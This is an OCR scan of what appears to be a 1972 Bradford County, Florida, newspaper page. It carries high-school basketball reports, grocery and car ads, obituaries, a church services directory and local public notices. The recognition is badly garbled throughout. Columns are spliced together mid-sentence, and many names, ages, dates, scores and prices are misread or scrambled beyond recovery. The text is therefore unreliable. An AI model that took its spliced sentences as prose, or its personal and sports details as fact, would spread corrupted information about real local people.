jrip'I.Thcwife i; half late from a flying t , Branford 3 9 7 19.38 The Hatch Lee and 14 points a piece to pace the brothers. Softbai? League at of one of them was at'the Indians In a losing effort. Charles, combined for 44 points the Recreation Department, Friday night as the Branford Keystone- Mordente 4-3-11 Boys ages 10,11,12, may start Monday February 21, 7:30p.m.All : .. airport when they landedf pilxthe Ketch 0-1-1 Breasdale 2-0- "We had d flat tire. . Score by quarters: Buccaners coasted to an easy registering Monday February persons Interested are 88-67 Suwannee River Confer- 4, Thatcher 2-0-4. Jowers 1- Recreation Depart- hunting strip, and it tonik tp a KM 17 13 9 5CH14 54 14. at the Invited to attend. Policy and Willl Newsome sinks a hard-earned lay- 0-2 Wingate 4-5-13 Stanley' Center day to get it fiXedi'1. HEY Street 13 17 18-62 ence victory over the visiting ment or the Pratt procedures will be discussedand ! up against Palatka. 1-0-2, Frazer 237. Totals 3:30 EXPLAINED. | Keystone Indians. Monday Friday : It Is urged thatteai's wife'Jirided Keystone Turnkett 6-2-14 Branford Jumped to an easy 151244. 5:30 p.m.PracUce. planning to enter a team have The suspecting Perry 4-6-14 Burner 5-2-12. 15 point first period lead behind each of thenva piece of1 pa per. for the meet- INTEFLACHEN GAME someone present . Grayson 2-3-7 Brannon 2-1-5, a tight three quarter court press Red Two sessions will begin ,"Write dawn which tires was Baby Drops rallied In the second ing. Interlachen Daze)' 1-0-2 Totals 201454. The Bucs stole the ball five (From Peg. 9)) half Saturday night to doe the first of March. flat." she said. .,} times and converted easy theft - Cedar Key Read 11-5-27, into easy lay-ups to take a Hodges 5-2-12 Rains 3-4-10 28-13 lead at the end of the) BUSBlalock 1-0-2 Golden In the third quarter Palatka Allen 3-0-6 Zeigler 3-0-8" period. From then on the two 10-6-26 Sewell 4-2-10 Jones outscored Bradford 12-11 to tie Hatcher 0-1-1. Totals 25-12-62. teams played evenly In a game 3-1-7 Hodge 6214. Totals 24- the game up 40-40 by the end featuring a wild final period.In of the period. 11-59. . INTERLACHEN CAMEKeystone the final period Keystone ST ARKE'S' . rallied to score 24points rallied to score 26 points the Holies- Williams 7-8-22 'Early in the fourth quarter . . In the final period Sat- same number of points they Jones 5-1-11. Jaben 9-2-20 BUS regained the lead, 46-42 urday night to topple the visiting scored In the first half. Bran- Ward 102. Totals 24-13-61. before Palatka exploded for 13 : iL1j. Lg:5t Interlachen Rams 72-63. ford, however did one better points while holding Bradford The Rams had rallied froma by ripping off 29 points for the PALATKA GAME: to only four. 34-28 halftime deficit to takea easy win. Avaughn Golden had one of In the final minute of the 65-61 lead late In the final Lee Hatcher was the night's his biggest night's of the season game both teams added two PRICES!, period. leading scorer with 25 points Friday scoring 33 points baskets as Palatka held on to \ then called time out win e) i\.J.'h Keystone on 11 baskets from the field Golden led the night's scoring 6054. 320 5WAINU ! to talk things over. The Indiana t SUPERMARKETS ::: and three free throws. His with 33 points for BUS. came beck out In a 3-1-1 pressing defense. Keystone brother Charles, hit on six Free throws cost BHS the Score by Quarters: r promptly stole the ball three field goals and added seven win as the Tornadoes made times and converted then Into charity; shots for 19 points. good only 4 of 14. BUS 8211114-54 while forcing the Teammate Gary Bench tallied Palatka had an all around PS 7 21 12 20 60 - easy lay-ups 2 0 and Horace Jenkins .... ... ... . points good team effort with four men ow. "'" H I t7 4NI1e eaef Rams Into fouling. Keystone< << : .:! _vnlT, 'I ,(IlL 3 capitalized on free throws In the .13 for thawlm.rs.Le.-x ,.r-.o, ,_ .scoring far double figured-Mike_. '"':'BHS--Blaldck'3: ;:;2-8, Golden ttK'C'l: i ..BOJIUESS CST .n''K CENTER 4* final period scoring 16 points. JBobby .Burner! ; pacM.ttW.In-.u.-.Bradley-scored; 19 for4hBaby.Bravesrnan .. J,33-JIayBrr-C5.; !$, Jones 2-' ':: t C H CUT dums with seven goat*"sutf five Murphy added 13,-'"' EIf"m * on charity; shots In the quarter oHodge 1-0-2 Sewell 1-0- SfR.L.OIN .ROUND ' : IPIIfBR i 1 -- while rolling to their fifth win free throws for 19 points.Lewis Mark Kedmore 12 and Frank 2. Totals 25454. :' : ,of the season. Perry added 14 and Larry Turk- Williams 10. The Indians converted on 34 r itt for 10 for the losers. PalatkaMurphy 6-11-3. STEAKS ROAST of S3 free throws which decided The win extended the Bucs Early in the first period Pa- Bradley 6-7-19, Williams 4- STEAK the outcome of the game.Interlachen record to 12-5 while the loss ] to an early 2-10 Kldmore 4-4-12, Eubanks 1 outscored the Indians was number 14 for the Indians.Score 8-2 leaden then sunk three 0-1-1. Batts 2-1-5. Totals 22- nrlra r ' straight lay-ups to give Brad- : IIIIlCflI 16-60. ,.... ... ; by quarters: : I ford the lead for the first time u 0.' $129 << $119 K.H.S. 13 13 15 26 67 8-7. I rJ J ULB JacksonvillBusiness I B. H.S. 28 15 16 29-88 .. ; 11II .. , Golden added four more lay- Keystone Hurner 8-5-19 Advocates of a lower birth- / 1 / I / 1 1w Burke 2-2-6 Brazey 0-1-1, I I ups early In the second period 1 1 wi r rate seem to be' as sure extend Bradford's! lead to to 1-5-7 Ellis i 1x1 YY.N Grayson 0-2-2. it //xI prised as anyone-when actually Perry 6-2-14 Brannon 1-3-5. ,Ave, 16-11. By the end of the it fit IIAMTINCII. 1a tin ' , drops. Apparently FREEZER FRESK half though Palatka narrowedBradford'i Henderson 033. Turknett 5- never occurred to them that GROUND lead back down to QUEEN 5-10. Totals 222367. somebody might be listening. vrwlery Directory ,one, 29-28. DINNERS; : I , Auto Sales and Service t \\\\ASTERN'S lAII ' -Parruh Motor COMPARE! 0.,1.1..1 PAT id* I.Panlry : Size r*>ci a KALES fto'V DATSUN VcS, White Rain Hair Spray '"z"CAN raA 99c : Pd REGULAR GRIND : OR ELECTRA PERK rrirwrnnruar SERVICE VIOLVp' Halo Hair Spray ".':.1'CAM 49 : : ALL FARTS TRUCK INVENTORY Holsum Peanut Butter M,.Of 69c I C 0 F F E E I "- : LAUNDRY DETERGENT'Ri i Always OM'V'"d Cans: Potato Chips ,"::" 38c ' Ml lam 8t. .... 3S4-MS4 98T0CHOOSE "::'::::- : : 3/l/ ; :: RaniRice LB 1 / C 157oz ELECTRIC MOTORS ""* FROM! inatoA ."u"'. 39c 'l//5 9 I $1 g . BAG BOXFamily , Long Grain Rice -:. 39c ; . PEAVY Brothers I I 1 t vtHowtovf, MIC IBISQUICK Electric Co., iiimmJi " i la Electric Motors i Sold Serviced Repair\ i JELLO' !.' EASY ON I BUTTERMILK ' Generators !Staten Armaturi 1 i PUDDING II SPEED SPRAY : BAKING MIX 'Rewinding. : i BEANS STARCH ' STARCH j' il NO i TREATS 4044 Lenox Jax. 38720'28PIANOS > r. a..twata.a-r4-xl.'I' 'JOo.CAN I 60oz TT e 5/I e *" *' COUPON Af I| WltN:YIIN': ::.O Y110:,OMIT.u.' I / :: 4110.11/x40 'T MtM ; "N I .... .. .. I ."...h.....U... .".VAMHT. || M.! MY.1..4Y1\ . ------------ -----------. - I GOLD KISTFRIED I LUSCIOUS NEW CROP : YAMAHA PIANOS eaozINl"'x: fJ! U.S. NO. 1 ,. ?:: \ CONN and K1MBALL STRAWBERRY / ORGANS WAITING SHORTCAKE its 79C CHICKENwl.49 1 STRAWWHITE:; . I I ; BERRIES POTATOES ---ft**-INOIIMI--flOitM----Ilrfins LUSTRE-------- !: ' Here now. The no.l.selling VEGETABLES PEASMLlMAS I: HAIRSPRAY CREME ... 3.9 I:.m.cmn 1 0 4 8 c . . I ::o .I.. . import: track' that'll' Save 'a:3h9';::: 1:.0:0.49: c i PINTS iC LB '" : ova 7.OOO IVIBTOAY LOW PRICIS I KD1 ALI. "SWINGER" OOIOIN RIPIIviiTMr IATINO OR COOKING DAYS A WIIK. BONUSBUYS ORGANS in GOOD OOOD THRU .... 16. 1972. NANAS.9APPLES.! aA04 f Rseee.ltMall36t6S11 you money a hurry. QUANTITY RIGHTS. RISIRVIO. .......... . At last we've got a lot of the working machine that- : low men I.mm.*tow rtxii 11turur tow nxtt BONUS BUY i GZQZZB322B3 Delivers up to 23 money-saving miles per gallon ..111 IMM.!*.% PANT** ! FURNITURE Hauls up to half-ton of most anything in a steel bed 55.y? it *wOLEO GREEN POTATO 1 BAXLEY CHAIR Rides you first class in a vinyl upholstered cab. DATSUN I STICKS CABBAGE CHIPS Drive it for size for economy, and because it gets the I Furniture Discount Job J dope Drive'a Data\m ..then decide. FROM NISSAN WITH PRIDE 71 t It LI..R_ GORDON THOMPSON iviiri r tow ntctt TJ mir 4V urn mci I rr r>4r LOW HKI 11 mirttv tow fticiBOTTLE BONUS. aim I I Mem*o DfnS'( Renettledr..m iF uum.R'Mm ? ClantlValb. COTTON OF 100ASPIRIN BREAD f"1' i DATSUN SWABS JHMTllVx!. Km y WHO TWO* 14.1 13 29c i 441 Owl: t Block 'from Ml 5525 PHILIPS HIGHWAY, JACKSONVILLE. FLA. 904737.4500ro MntHle... FU. 3M-174I f94 e..r .I' -r.. ten-.. .. rroq inI /n'11 --I J i ,. -- .. -- --- - r ,." " ,.", ...... .. >', '"""" ,, "<"." .., "'c"''' >'" ... ..0."'.'''.. ... .,."..... ,. ".... .. ",,'"''''''' '" .. ... .." ,,,, ., _ -! '".. n ___.__-_ '. oJ .." '. " : "f.'>f...., '::.Y.it.:.t ; r- t Uua4 es : ] a r < P nC fs d.. ''A're' In.tte.slme.n' In Your -ure. = , .' ,.' R. B. Warren Frank ThomasFrank 'H.::'C. Wimberly L4T4TE 1.lle IlflLeM K. B. (Bob) Warren, ST.. 71. Rod Thomaa 73.'of U02 " i native of Bradford County: Butler << \ Stark" died Sat Harry C. Wlmtiertr, Jr.,.77, "fe were low seen r tbq MI Peer Mal M sk. In Pa- ; In a Macdenngr-. or Eaoto r.... died Saturday _. __. _._. .._ .._ died ,Saturday: Feb.. 5, after ... !\ '*!!t."UJ.tItllfIWIIIIM _.. _ Hospital m .m. '.. latka. an extended nines to, -Wr Haven oePUal.A .li 1HJI ft.no I nJr",:," 'T ...--10ftIIii wIIIIt rlMl : '''3''CM' IOWA'r'1 - Besides Ms wit*. err Ester *. A native of Alachua County oath of Hlchland": he, was ''e NEW RIVER'BAP'I'1ST' STARCE CHURCH LAWTEY CONGREGATIONAL Warren, .. U survived ,. be was a retired correctional a retired educator and a ......- CONGREGATIONAL. HOLINESS. OF CHRIST 'Sunday School 10 ajiu Morat -, ". HOLINESS CHURCH! CHURCH MELROSE OF CHRISTAT three' daughter*, tour MM, officer at tie Florida bar" of the First Baptist Church' CHURCH by Bible Ing/ Worship U ajn. Training Sunday School 9:43 School.1 10 ajn:'Wo.w : ajil.f Schedule of Services State Prison and a memberof of ;Ea le Lake. He reeetved Sunday' School: MS , and two sisters, eight grand ' Toes ship Services. U' ; Union 7 pjn. Evening Worship Morning Worship U ajn. Youth tluPrimtUvsBaptlrtCbnr'ch.SrrhL his 'B. A.; decree In Education Morning.WorahtpU' ajn. and Sunday Bible Study 10 a.m. children. an 8 pjn. Midweek Service. Wed- 8 pjn. Wednesday flight ser Service 8.. pjn. Evening Worship Morning Worship II ajn. EvenIng ; . Funeral services were held are his .u.. Mrs. from Florida Southern Collac Service 8 pun Evenmx I Nor* wel"come. . Sadie' .,Thomas of Starhai and Master's aday 7 pjn. Ladles Bible vice',7:30 pjn. Everyone 1lUR. Worship 7 pjn. at !10 ajn. Tuesday\ In John one *, a decree .ahtp7pjnJ : Prayer son-Davis Chapel, Palatka,with daughter. Mre. Anna Plckreiy from the .University of Florida Thureday right Prayer. Meet* ..Class, Thursday U .Church .j'.. Tuesday i Meeting 7JO All other evenlngs p.m. Parker'pastor CalDesviilet J. W r. located one block: west on SR & one eoa. Ina 7:30 . burial In Palatka .Manorial ; : pun.David pjn.Rev. Gardens. Thomas Starke. ; and ..1xJl'UdfhUcIna. ,H. had been a teacher .in. .Hoc ea,''Pastor! 18. : PINE LEVEL BAPTIST W.B. Chauncey: pastor HAMPTON CHRISTIAN the Nichols: .Fla. school ays J.P.H.. Bell,.minister< 10 Morn-, CHURCH Funeral services weN held tarn for 10 years, and a teacher -. 'CRACK!:''BAPTIST 'flNEHU.L'CONGREGATIONALI SYaWorsahSchool: ajJK ajn.; Pre 'Services SMYRNA MISSIONARY Sunday School 10 a.m. MornIng - 513 at 10:30 a.m. Monday: In CrosbyL.h. ; and. principal at Bails Lake CHVRCH..STARJat Band YPeople BAPTIST CHURCH Worship II a.m. Evening Pack (Booster Cub , Cemetery with Elder Robert School: tor 21 years. He-,tae Sunday... 10 Hon O h0I5STCHURCH 633":W. Pratt St. Sunday Services Worshp 1.Jame.ShawlMltor.BROOKER . a.m. and Prayer ServiceV Sunday School 10 Mom- 10 ajn. Sunday School: .m. JuniorIndoor Smith and Elder HermanMoody a., teacher and superintendent : Stages ' tog Worship at U. Training '.Ing Worship U U n. Youth Ser- 6 pun.Evening Worahlp 7 p.m. Preaching 11 ajn.Training Union BAPTIST CHURCH conducting. Interment of the Sunday School: a member , .Union, '!*0p.m. Evening Washship Service, Wednesday Olympic was fa Crosbyile Cemetery' of the Official Board of 'vlce 6 pjn. Evening Worship Midweek 5:45: pjn. Evening Worship.. BROOKER, FLA. v 7:30 Wednesday Prayer 7:30 p.m. Rev. Tommy L. HU- 7:30 pjn. Rev John Strickland, welcome. Rev. Jim Temple Sun- 7 Everyone pastor. under direction of DeWltt C. his ehurcht' the winter Haven ,' Leon p.m. Jones Funeral Home. American Legion Post; Eagle T. c MeettBf>dom 7:30.' -.Rev.' ...v ;)lama, pastor ,Pastor. Wilbur Dyess, Pastor day School 10 a.m.Ron Bristol ; Jr.. pastor.ADtPARX Cub Pack 513 met. Thursday Lake Lieu Outa Theta.Chl Superintendent. Training Union night In the Southalde Elementary Fratarnltyt and National Retired KAVTiarf' .. FIRST ASSEMBLY. OF'GOD HOPE BAPTIST CHURCH .,, .CHURCH OF GOD 6:45: pjn. Lowell Douglas, Di- cafeteria.,' : ,H. L. Garrett Teachers Association.SurvMnt. : CKURCn 'Ralford Road A Weldon St. Highway 100 at Theresa) 'OF PROPHECY, BROOKER' rector. Worship Services U a. Ldoorlnmor Sunday School: : 10..... Morning Sunday. School. 10 Mom- Sunday SchoolJO! ;' ..m. Morning The boys had an la : a.m. Sunday School, 10 a.m. m., 7:30.: Midweek Prayer Service - Olympic, tournament with Herman Lee Carrett, 64, of Mrs. Patricia: Camel! ctter Worship; U am. Evening Ing Worship, tt. Sunday Evening Morning Worship -1U.ajn. Worship 11 a.m. Young Peo : 7:30. Lavern Outlaw, music rlbbona awarded. to the win 299 S. Cherry St.. Storks, died Chase, Md. two slaters. Miss Worahlp." 7 p. m. Wednesday. 1, P.m. Thursday night 7:30. Training Union ,6:30, : p.m. ple's Service 6 pjn. Evangelistic director. 3 In Galnea- < Prayer Meeting and Bible Study Evening Worship .r> 7:15 p.m. ners. Thursday Feb. a Elizabeth Wlmbarly and Mrs .-Charles Thomas, pastor Service, 7 p.m. Wednesday CHURCH! OF JESUS CHRIST 'On Friday afternoon and Saturday .- 'yille hospital after, a long. UiUntil both otStark. 7 pan. 'Young Peoples Meeting Wednesday Night PrayerSlr. Prayer Meeting 7:30: JMn. DAY SAINTS Winifred Green, LATTER .... ; every Monday 7 pjn.C.F. vices 7:30 Rev. Merle OF the two WebUoa Dent and randson.Funeral .' EVERGREEN BAPTIST pjn. Come and worship with us. Road one( PrevatL 1404 E. Bessent from Pack 519 had a trip to forced to retire by 111 services .were held welcome. ,pastor. Everyon& v Highway B5,' Northwest Of Packham, pastor .-Rev. Bobby? Harris,pastor Family Home Evenlne- Mon1 - the Montgomery camp) oa the health, he was engagedinfarm- at>pan. Tuesday, thegreve. wtll1. Sunday School;.10 ajn. - Suwannee River. IRe and was also a paper minworker. .aid,in Highland Cemeta1'1 near ST.. EDWARDS 'CATHOLIC. Morning Worship 11:15.'.Sunday, ST. MARK'S EPISCOPAL, .. GREATER BETHLEHEM' 1:Imary- Tuesday 4:30 p.m. attending ware Chris ; He was a member of Night Service. 7:30: pan: Wednesday FREE WILLBAPTESTCHURCHCor. .: Boys Maxrtlle, with Rer.'DeWltt T. CHURCH STARKE' CHURCH. STARKE WednesdayRelief Society: ; , :Felos, Pat MI doff,Alan Mootgomery the! New Congregational Methoctts Interment Father Prayer Minting 7:30: Ash Chestnut Sunday Farabee olDelal 8.; James Cregan, pastor Holy Eucharist: lit and 3rd 7:30.: ,Cory 'Brow. Neleon Church. Rev, Albert Knight,pas. School 9:30: Morning Worship, 7:30 slater Mrs was In the Highland: Cemetery Saturday Mass, 7 pjn.Sunday =: Sundays, U a.m. Morning ThursdayM.I.A.. pjn. Surviving are a , ,Green and Dwayne; and Brian of DeWltt 'C. 10..... ; .Ur .League 4 pjn. Night Service 8:30a.m. Queen Esther Priester> thre.broh.rt under direction Mass Holy,Day Mass.. t Prayer 2nd. till and 5th Sunday WU- Sunday- Priesthood : } Parent ,, attending ,' 6 p.m.Rev. Jasper . Baldwin. Arthur and Lemmle Jones Funeral Home. 7 pjn. *- 11 ajn. Church School 9:45ajn. : Sunday SchOol 10:30 ajn. Evening - and Mrs.Jerald Baldwin LAURA BAPTIST oo. lUms, pastor. ;weN Mr. ConMeatona. Saturday: 6PJn. E.Y.C. 8 p.m. : ., Meeting,6pm.Sacrament.Jeses Garret, both of Jacksonville Mr. and Mrs. David Mont. v Sunday School 9:45 Lift Mor- Rector Branch ; \ -John M. Flym D. Branson, and &, Ernest Garrett METHODIST yo Mira A. Griffis UNITED Don llardenbrook.herbert School of ReMgiem sine Worship H ajn. Evening FIRST' President. Thomas. Wayne Mun-. Starl Worship 7:30 Midweek. STARKE . Grade > : pjn. School Sunday 11 ' dorf and H. F. Brown. Funeral services were held Mrs. Mlra Alma'Crtffla, 72, ajn.toQjwon,: We Study. Wednesday, 73O.Po BAYLESS. BAPTIST Sunday School. 9:45: ; Morning HEILBRONN BAPTIST ,at 3 Sunday la Macedonia'methodist 10 ajn. Wor and Senior CHURCH, HIGHWAY 16 N. JUlIo died Thursday. Feb. m. Sunday School: Worship 11; Junior Church, north 01MaCClem.r. of 3, Lawtey In a Starke. hospital after a '1Qcft' Bcbooi'7)' '' .,. ... Be In church Sunday.Lester ship. Servfce U ajn.. Church. .MYF groups,' 6 p.m. Sunday Worship: 9:45: ajn. I .. with Rev. A. G. brief Illness. She was bon ta p.m., .. Austin, pastor.,. Training 6:30 pjn. Evening: Wednesday Youth Choir RehearaaL Morning 11. Training Flym and Rev. Lorerito Grtffis March 3, 1699 Worship, 7:30. 'A' V: 7.p.m. Prayer Meeting Union 6:30: pjn. 'Evening Service offlctatlng. Interment was and Clay was County a;member on of the Bap- BAYLESS HICHWAT., BAPTIST: ST. MARY'S CATHOLIC .We( sday- Prayer Meeting.., ,' ,1$01'; C cancel Choir; Rehearsal :- 7:30. Midweek Prayer In the Macedonia: Cemetery.A Sunday School. ram Worship CHURCH. MACCLENNY 7:30pm. 7:45.DeWltt: ; Service, 7:30. Church. li + I tilt' Surviving la a brother,James c 3elrrl6s30 m Church Sunday Mu., Q noon Holy. Rev. J.D. Robinson, '.- T. Farabee Jr. -Rev. L. Tommy Howe pas VIII Howe of Auburndale. 'IaI ,: ,EYaIIJw. .Day Mass 8:30: pjn, .. '. _. : tor. 1 .Funeral, services were held WOI'INDn1O.' '" L 1IJIi!. _. JI\'JW\; Ii< .__J.lln'. -" < territory salesman was complaining covering a to large I his at. 1 pan.' Sunday In the Highland 7.3e'. =!..7" Prayer Msing" t :ii 'tht Churth'is Cod't appointed ogmcy'I" this weld :\\l1H1 sales manager of. the many Baptist, Church with Rev Rev.! J.a Robinson I .fer spreading Ihi knowltdgt of Hit hue fer men and ! hams his selling and traveling George Chum and Rev. Ray. -, ef HH' demand for man ,te mpond Ie! that lease by 1m,;! Involved. "Why.' ;' replied the mond Caudlll In of lclthi Branch(. Interment Cemetery LONG BRIDGE BAPTIST'' lII living hh miahbor. Without thil venndinf In tare ! Lang THEBES No sales manager,"when I was out was near Maxvllle under direction CHURCH liii lovt of( Cod, .. govommont er Mclaty ir way tl life :1m; Il! + aeAUTYOR FUN on the road, I often put In sixteen of DeWltt C. Jones Funeral Sunday School 10 ajn.Mom-: i 1l '.will loan ptnoMrt and the 'ftttdaml whkh wi held .I ii!!! IN A BURNEDOUTrieM hours'' a day and thought Home. tag ot5a U'ajn. Evening. r M deer will Inavitably poridi. 111"".,.. VM Iron lil! i nothing of It.'' '.1... been doing : pjn. Wednesday. should tin hutch Everyone II I II e selfish point of view, one PfIll'f !! the same thing for weeks and Idon't B welcome. Nh for th,* sake of tht waiters of dimwit and his ;I ITYPadgeU Robert Hates ED f.r... think a lot of It, either, Rare pastor tyond thai howovor. eve" ptrwa: :should upheld I the salesman. .Ir.t replied It tells the truth ', .1a''UUU CHURCH OF GOD 'and partkipata" In the Church boc uM ____, .. .. ... Berry Padgett", 63, of Starke truth whkh Jill '''''' died Friday Feb. 4, In Start 432 N.. St. Clair St., Starke. about man's lift. doom and d.itinyLNs' ; > nursing home after an extended Sunday. School.: 10 ajn. Morning .done' will. lot' him ,trio to fin a.,a ,child of Cod.f' WI! PUBLICNOTICE Illness. He wag born In Starkeon Worship 11 ajn. Sunday. !'I..i iE1NT1lE :.', Dec. I. 1909, and bad lived Evening 7 pjn. Youth Night, \ .IHII, ' " her' all of Ms Ufa. He was Wednesday. 7:30 pan. Prayer " 'BooksRegister a member of (he Church of MeettogTFriday. 7:30 pjn. !\\! . Registration Y,JCod.'"* I1'Survhrhv ,-bY"r... ; W..KSdIt., putlor :' Sll 1'\\1\\ \ I4't'3' Joe . , ; la one brother S .t xiNQuy' H i'!r rif " ;' : LAKE 'BAPTIST 'Vf'1 #1/1/ of Jacksonville. I . : .. Padgett : ,' l l , c Funeral services wen'hall Sunday School 9:30: ;; Training .' 111m. Now.BOOKS at Church a p.m.of Monday God with In Rev.the Starke Yates Union ahte! Q 1 :11S sun ajrut Evening Morning Worship woe. To.Hery child.thm, comes: a time .. -'GlfQlIN '} !;IIII'I' I. . ,OPEN KON., THRU ,FRI. 'W. Kldd offlclattng. Interment Cemetery 7S5 Wecaaaeday.p.er.'Prayer. Meeting '7.30 u when....the)'.begin. to wonder... Where: :+al!HI; In the Evergreen 1 8:30: A.M. TO 5:00: P.M, was near Raltord with DeWltt .Pastor Rev.. Robert West :did( J I come from Who., made the a ::11I11 '; , C. ,Jones Funertl Home In ; i FINAL laDFOR.'REGISTrfATION .charge. FIRST PRESBYTERIAN. trewtWfio made the mountains -r \1 !h1i: ! Sunday School. 9:45.: :ajn. .' tRYOSE \ !iil "' E ha<! a desire to ( ., ! BEFORE: .' Morning Youth ,ml A father took his small son .to Fellowthlp 8 t.m.UChoir Practice \. I ;, ; PRESIDENTIAL/PRIMARY, MAR. 14 vlilt the IalnU,'.newest arrivalIn Wednesday 8 pjn.Rev. ?.v-\ knoVthefc t water. Ililil J! the nursery off the.1ocaI ,- .,Robert D. Burch ?*f) C'P. '/" w.art./: 511,1', GyN': :IIII'! ; \ ', UTa.IAY'FEI.12) Hood la frontof - . 'c. ",. , window IHI i liege CHURCH "l f st/tl :t ! the peering CALVARY BAPTIST ta/"II/ u'illf, .fffr Meet witf/ tn ; FROM 9 A.M. TO 5 P.M.- at the U tiny 'cribs In which Sunday School: 10&.III. Mom- .. Chef in !l"Ililil! there were 13 babies. "Oh, look Inf WorsiMp O, Training Union ti.1/ tblrr'rtIm" ,,: IN THE COURTHOUSE Daddy! he exclaimed"They 8:30. Evening Worship, 7:30.LeRoy I ) OI : kno\\'J lge ThUlonginir l for :1111 have two more traps. set." pirymptFutorBETEL' "' :, 'r Nr4' jIl jIlst Books will also be open' 'BAPTIST CHURCH : '.', '.' ,'. of Cwi;' p'huuki( be \\l..nL'(1 ''Hi" ! , TUESDAY FEB. 8 School 10 Homo .f.. a !II"I! Sunday ajn. ,,' early E . FIRST BAPTIST CHURCH an tog Worship. U.'..... Evening _'. ." '...,!,..*- ," aRe--' : . 9 A.M. t to 3 P.... STARKE Worship -7:30 pm;;' PrayerMeeting : "TsniNuparhildla IAimny .!hlll L Ll" BRADFORD HIGH SCHOOL 'SIil I dy ,- Sunday School 9:45=} 7:3: -pjn..Wednesday.Rev. ;,HI1 mid ,'h'f/ t" idr' 'gill! Horning Worship at 11. .sermon .- .J.C.. "'n.paw'KORCAN ..>.-f'- -' ... lit ;" pn'.. /. /. .. ... !'Ii E II "That; Ye Might Be Saved"} ROAD CHAPEL.'I&IDdIy' i .' '.". H'iIl( I/O'/ i'IK1I'f 1'w"a' :" r ill,! ' ? , -* GENEVA FLYNN Church Training, 6:15t: ; Evenlnr . -: :4S a.m.&IndQ. 1 , < Worship; at 7:30 airmen .. .'. Plan .VOW" to attend([church. .mj . School 11 a.m.' Morning Wtsrship ,: ., ef Electlen. . Supervisor "Come and See. 0' ; \ ! " t Tnlning Union 1.C11.61 JUlIo'" Vlth r ' Choir Practice )your family MondayYouth .1 7 pjn. Evening Worship I'HI! ! , 7 pun. 7:30 Prayer Ser I . Wednesday 'Tuesday Young Musicians, vices. 'f". IIIrr ! ................... 3:30 C. A.and Bell Choir Practice '-Rev,' HobCnwr..pubrDEDAN f MlHliHmmWiHimiHmllin I: 1 Wednesday, 4:15.: Family NightSupper 1III1Imilmmmiil11iJIUlllimmmmlIInUiUillI; I I !! f Ir !!a i; !: it!liuiiUUlIhWmllUlliUilHIiHHliiHllliiiiiiiliilUlii!, I !: !! ( li,;, ; ; :! .6. pjn. Prayer MeetIng BAPTIST CHURCH and R. A. Meeting, 6:30 BROOKER - $50 REWARD ! pjm.l; T..ehere'and Officers Sunday .Schael 19 .... Worship " Meeting, 7:15 Church- Choir Services U ..... sad 7 STARKE: 60" Practice, 8 pjn. Untoa 0 ; ' Makers p.m. Training pun LOIIIA' SERVICE ThursdayMusic .-Rev. Lacy Cooway pastor Bell Choir . Choir Practice. . Practice 3:30 pjn.W. GRAHAM BAPTIST CHURCH / 4S4 s 151'' Kill E4wi rtl* I'' 964TM1 0 A. Hogan" pastor Sunday School JO.... Honing tire TruJttff FOR INFORMATION Worship. IT .... and' 7'p. ojt Qiiiot , Headlight Adjaattaff LEADING TO ARREST MADISON STREET m.' -Rev. ,>,John Rosa, yutaeAIRFARE ot1r+N a AND CONVICTION. 0 BAPTIST CHURCH if ,' ." Brake Service Sunday School: 0:45: : .Morn- 'BAPT CHURCH' Carl Heret......Pfco.e' M441HWXECXXR It 1. Wheel llalanc and fog Worship 11} Church Training faartay .School: 9i4S: .....HOT'ring -: ' . 6:15; WMU Prayer Circle. Worship U .... Evening ... $S9 B. CaD''si:;;."-i .Slarke. Ma.Paa Alignment . ... 7ilS: ; Evening; WuorChoir 7:30. Worship 7 ajn. Wednesday 1N-1191. 8XRYICKIhrny : : M M4.S74S' for,,FREElaaa CONDITION SERVICE Of Anyone PewnJ Removing Aay Monday- Y Practice Prayer Meeting aad Bible..,. hem .f Value In Crosby Lake C..t ry, I-. : Children's Choir, 7 p.m., 7 Study oaBookofPsnas ;Ml:... 109He .ctl" a :sad .,Eallaaalee AH Minor Repairs eluding Flower Sh........", Pen en.ot PI.,.. TuesdayMlsaloa Friends y'5 ,,'pear Everyone Arrangements, Heee'trenea..,. Fence*, It.S ... Girls In cUon.: 3:30 p.m. l -) a .TaayleStarke 8.1'N.. Tempi. ,\".. Stark .WednesdayFamily NightSupper I'' .. ., , s <:30; Prayer Meeting. HAMPTON BAPTIST. HHttaflHafleHeflHHaflBKaVHHaflBHQMeHBHSTARKE- HMmPftVWe .. '7:30: ); Church Choir Practice CHURCH Please Give Infermeflat T. Any Defvty Sheriff '8:30.: .- ..Sunday. School aJn.i; Keratof BUILDERSSUPPLIES f: EDWARDS or Any M.mb.r.fth.. Creaky Lake Cemetery ASM. "Dentoa Sumrall, pastor berries U ajn. ag le Stady. F ViO p.m.} EftIdJwmee1act Inc. f MarketGreceriea \ .:Po end Grocery1 iml - ''nDR.mUM FIRST Sunday Service CHRISTIAN:Sunday CHURCH School Bible Wednesday Study. 7:30- pjn.Prayer., Ac* Hardware Mr>.ti- .... Repaireru. 9:45 ajn. Morning WorahlA.10i45 liebla IIameJ. Pastor = GAS AND ML FROM I'l MPHN' DASH ajn. Een1qgS.rwtc 7:1$ Falat BeryaUev S JUDo Youth Group Meeting,Sunday JflOMlt MISSIONARY> .. G..a. Jack aa.d Chdya .idwards .TYPEWRITERS / : : ' In Any Area Of' Tim Canatan: Except The -J C.Rw.r. : adnlaterNORTHSIDE RAPT 1'14LA'3ON behind:Tutee U. .. i 61' 8aiUi:,_ Stark. Bradford County. u.s. 301 Norm, ; rirer Lon Aria In Raar Of Poop. Housa. FreeDrtve: hi. Sunday 11111,11 v mONK:...-UII, .TelegraphCLAY BAPTIST f School: 10 ajn. Worship Service 11' ''........ ...,. *4+i2 , CHURCH .. U ..... and 7 p.m. Prayer - : toterwctlon of Highways' 16 Service 7:30. p.m. WedneeLeroy " : CROSBY 1AXI OMiTBITASSOCIATION .,, ELECTRIC :COOPERATIVE. Inc. ,. DWlest) and 235. Rev" Tayae l-, .... 'fcX - .OUve. " pastor, pastor.: , H8C. V brig t........ -I ...lslg Our Uo..here l-tva lieUar. Sunday. school: 1:15. Morning ,C,rUD.. assoclao*.pistor. owl By THeee.We Brrve !. ,Twelve Northeast * Service at D. Evening Service .Pmethtrslkmy.6.. ailgli.-Plrn. 473.41111 7:30..Wedaeeday Service. ..7zJO.p.a. ''A Cla: 'alfled,Ad In the TELEGRAPH ::- :I ,.......... ......... brings results.. - """Ii'R' .0 ,lofrt, ''T..r.. FRAPfI; PAGE 11 4. , , a 'e r' r - -.... ..... .... """' ..... ... ... .... .... ...... :. t_ ... .-! --' .... :..... .. ,,l . -- -- -- -- -- - .. . . .. I :L l ...".,. "- .. .. ,-. .. .".. ... ... ... ,,,, ,.. 